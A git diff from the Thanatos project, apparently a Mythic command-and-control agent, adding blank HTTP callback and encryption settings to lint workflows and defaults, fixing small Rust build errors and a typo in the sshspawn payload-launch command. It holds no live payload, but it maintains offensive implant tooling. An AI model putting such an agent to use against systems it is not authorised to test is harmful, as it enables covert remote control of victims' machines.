diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 74bad1a..956a1d2 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -45,11 +45,18 @@ jobs: working-directory: ${{ env.THANATOS_PATH }}/${{ env.AGENT_CODE }} run: cargo check --color always --all-targets --all-features env: + RUSTFLAGS: "--cfg http" UUID: "" + AESPSK: "" + callback_host: "" callback_interval: "" callback_jitter: "" - encrypted_exchange_check: "" + callback_port: "" connection_retries: "" + encrypted_exchange_check: "" + get_uri: "" + headers: "" + post_uri: "" working_hours: "" format: @@ -74,11 +81,18 @@ jobs: working-directory: ${{ env.THANATOS_PATH }}/${{ env.AGENT_CODE }} run: cargo fmt -- --color always --check env: + RUSTFLAGS: "--cfg http" UUID: "" + AESPSK: "" + callback_host: "" callback_interval: "" callback_jitter: "" - encrypted_exchange_check: "" + callback_port: "" connection_retries: "" + encrypted_exchange_check: "" + get_uri: "" + headers: "" + post_uri: "" working_hours: "" lint: @@ -106,9 +120,16 @@ jobs: working-directory: ${{ env.THANATOS_PATH }}/${{ env.AGENT_CODE }} run: cargo clippy --color always --all-features --all-targets -- -D warnings env: + RUSTFLAGS: "--cfg http" UUID: "" + AESPSK: "" + callback_host: "" callback_interval: "" callback_jitter: "" - encrypted_exchange_check: "" + callback_port: "" connection_retries: "" + encrypted_exchange_check: "" + get_uri: "" + headers: "" + post_uri: "" working_hours: "" diff --git a/CHANGELOG.md b/CHANGELOG.md index 4554507..6a8430a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,19 @@ Changes to the Thanatos project. This changelog file adheres to [keepachangelog](https://keepachangelog.com/en/1.1.0/). -## [0.1.6] - 2023-01-31 +## [0.1.7] - 2024-02-02 + +### Changed + +- Modify lint workflow to include HTTP configuration 60b34aa + +### Fixed + +- Fix build error due to profiles not being mut 7a29fe4 +- Fix typo in sshspawn command parameter description 93e5bb3 +- fix(#19): Add Thanatos artifacts into base image e3dbd69 + +## [0.1.6] - 2024-01-31 ### Added @@ -81,6 +93,7 @@ This changelog file adheres to [keepachangelog](https://keepachangelog.com/en/1. Initial public release +[0.1.7]: https://github.com/MythicAgents/thanatos/compare/v0.1.6...v0.1.7 [0.1.6]: https://github.com/MythicAgents/thanatos/compare/v0.1.5...v0.1.6 [0.1.5]: https://github.com/MythicAgents/thanatos/compare/v0.1.4...v0.1.5 [0.1.4]: https://github.com/MythicAgents/thanatos/compare/v0.1.3...v0.1.4 diff --git a/Payload_Type/thanatos/.docker/Dockerfile b/Payload_Type/thanatos/.docker/Dockerfile index 98e65c7..a480847 100644 --- a/Payload_Type/thanatos/.docker/Dockerfile +++ b/Payload_Type/thanatos/.docker/Dockerfile @@ -83,5 +83,8 @@ RUN rm -f sccache.tar.gz COPY .docker/config.toml /root/.cargo/config.toml WORKDIR /Mythic/ + +COPY main.py main.py +COPY thanatos thanatos ENV SCCACHE_DIR /Mythic/.cache/sccache CMD ["python3.11", "main.py"] diff --git a/Payload_Type/thanatos/thanatos/agent_code/.env.default b/Payload_Type/thanatos/thanatos/agent_code/.env.default index 91f8e07..8d2ea44 100644 --- a/Payload_Type/thanatos/thanatos/agent_code/.env.default +++ b/Payload_Type/thanatos/thanatos/agent_code/.env.default @@ -1,6 +1,12 @@ UUID="" +AESPSK="" +callback_host="" callback_interval="" callback_jitter="" -encrypted_exchange_check="" +callback_port="" connection_retries="" +encrypted_exchange_check="" +get_uri="" +headers="" +post_uri="" working_hours="" diff --git a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs index 1fb2d21..0a0bca2 100644 --- a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs +++ b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs @@ -109,7 +109,7 @@ pub mod profilevars { headers .get("User-Agent") .map(|agent| agent.to_owned()) - .unwrap_or_else(|| "".to_string()) + .unwrap_or_default() } // Helper function to get the other headers diff --git a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/mod.rs b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/mod.rs index 5693de1..ac28946 100644 --- a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/mod.rs +++ b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/mod.rs @@ -73,7 +73,7 @@ impl Profile { /// * `uuid` - Initial configured UUID pub fn new(uuid: String) -> Self { // Create a list of configured profiles - let profiles: Vec> = Vec::new(); + let mut profiles: Vec> = Vec::new(); // HTTP profile specified #[cfg(http)] diff --git a/Payload_Type/thanatos/thanatos/mythic/agent_functions/sshspawn.py b/Payload_Type/thanatos/thanatos/mythic/agent_functions/sshspawn.py index c80114b..865f4c3 100644 --- a/Payload_Type/thanatos/thanatos/mythic/agent_functions/sshspawn.py +++ b/Payload_Type/thanatos/thanatos/mythic/agent_functions/sshspawn.py @@ -152,7 +152,7 @@ def __init__(self, command_line, **kwargs): type=ParameterType.String, description=( "Command used to run the payload " - "({path} is the path to the payload on the remote system)", + "({path} is the path to the payload on the remote system)" ), display_name=( "Command used to run the payload "